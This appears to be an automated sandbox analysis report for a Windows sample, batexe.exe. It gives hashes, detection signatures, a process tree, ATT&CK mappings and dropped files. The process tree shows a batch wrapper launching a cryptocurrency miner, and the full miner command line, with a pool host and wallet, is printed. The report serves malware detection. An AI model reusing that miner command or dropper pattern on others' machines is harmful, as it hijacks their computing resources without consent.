73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
306s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 05:29

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3480	b2e.exe
1204	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1204	cpuminer-sse2.exe
1204	cpuminer-sse2.exe
1204	cpuminer-sse2.exe
1204	cpuminer-sse2.exe
1204	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5004-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 3480	5004	batexe.exe	74
PID 5004 wrote to memory of 3480	5004	batexe.exe	74
PID 5004 wrote to memory of 3480	5004	batexe.exe	74
PID 3480 wrote to memory of 2224	3480	b2e.exe	75
PID 3480 wrote to memory of 2224	3480	b2e.exe	75
PID 3480 wrote to memory of 2224	3480	b2e.exe	75
PID 2224 wrote to memory of 1204	2224	cmd.exe	78
PID 2224 wrote to memory of 1204	2224	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Users\Admin\AppData\Local\Temp\D513.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\D513.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D513.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DA43.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D513.tmp\b2e.exe

Filesize
1.4MB

MD5
c5e09858066f182b7f5bdcb61d9b36fc

SHA1
7a1de79ffcfa17a7a86a01f8d5046eaf970b8905

SHA256
b5ede4ee58898940fa268a8aa17da9fc31eae634a8c95afcb2412ae199e8f4b6

SHA512
70e4e7cf5ec9df418480b0773c325e489749cbf6b5af491b24f6a6b2298cb043f681689531e70666787d42723d096d57012f1bccf317367908ce68a1420a6dfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\D513.tmp\b2e.exe

Filesize
11.7MB

MD5
f1124216db5ee64e37c65e764883ab5c

SHA1
9868ce008a2cbf76ae77bcd0259e906bdc4c613a

SHA256
a038627a5654a005cf36166b0dd8cfbb35e673418190f05f3b9a4baff8b413f6

SHA512
174cc32b40d9028c40138af70865de30f9908578b5560a7b482ac654af771125d23d4548443161707c7655856f9ba1696179712e3a11cb37d5206ca0cd7ed0db

Download Submit
C:\Users\Admin\AppData\Local\Temp\DA43.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
192KB

MD5
01f228e3eadcf394f8e57348314c7104

SHA1
71571d5d327678688e7c77f19509a17781ae17d0

SHA256
c38983cab3c0de4a73e61d6ed2abcee2567becbfca4b1714d3b03389556880f6

SHA512
eb40b33112cf913383b22dbf4d2977e4c8cee5123620efea1b10d0e5e5d1495e37b12c5f2da0cc778af2044d6f7667ed7b009c019f7e03cdf5f060623f4ce9e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
f8b047b5b333b447e4bcacd15b148f4b

SHA1
a38eefa3eebf5ed9f840b7adb68951ff5c96e8d5

SHA256
e6f693afcd3c146899a54ad7f34e4b3578551a90e0a4c54a48131a860428c03f

SHA512
184a7a6df2787b7f31470f3a6a1bb8c56678661da9e93f8b06095b9e7ba03c4882d7411533db7e44488362237d41f2db25646356cb6f054c1a450eb72597439f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
be2662769d232752895742d18eda23ea

SHA1
08ce559276953ac3ac0f041ed53f8d094b9ba3e0

SHA256
f37f7b831f830672f8cbee96de0b91c295af326c680bb76b04a5899403c3a1da

SHA512
675b2b0daa4e55a8ca97dcd4724eb2db8e12b9d5ad1b93655cab688e460930f04891312fd90fc631c5061117c95229cd68d2c2ffe95d48fdb8eb58449aed2c80

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.4MB

MD5
b07ccc31ece2cc5fef71319ce1732eb8

SHA1
9a2d68cad177473a3175870fc358cdb4f6595afb

SHA256
7bbe299f78dc1a8a04dea9d6607fa8e6255bed4e7574f189942ea9d5d402ba30

SHA512
510680e9b34b48c14ee32939d20f47c62b2f24238e66c944930d0b9076bd14142b72727f9514970e31a48035eef80ccd80de6410564e7183e8de11b5399cc13c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
5ec13eb34ed392073583d50ec51c0481

SHA1
c2d38393af5af9d1e14e12b0fcfe73b48127f217

SHA256
12070a49b3ee218e79e06af3f38c3d9c47559962369d1fab4181f55dc3315ae1

SHA512
0d7b4d683edd9dbe864b3a064f8cb6985b1bffe9ff2faf376d9e2b307ffae20b44ac0814dd1289323da73e262c39ed9d64bdf085a6e698a2605fa6b8d8963bf5

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1204-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1204-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-43-0x0000000067A90000-0x0000000067B28000-memory.dmp

Filesize
608KB

Download
memory/1204-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1204-44-0x0000000000E30000-0x00000000026E5000-memory.dmp

Filesize
24.7MB

Download
memory/1204-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1204-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3480-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3480-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5004-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download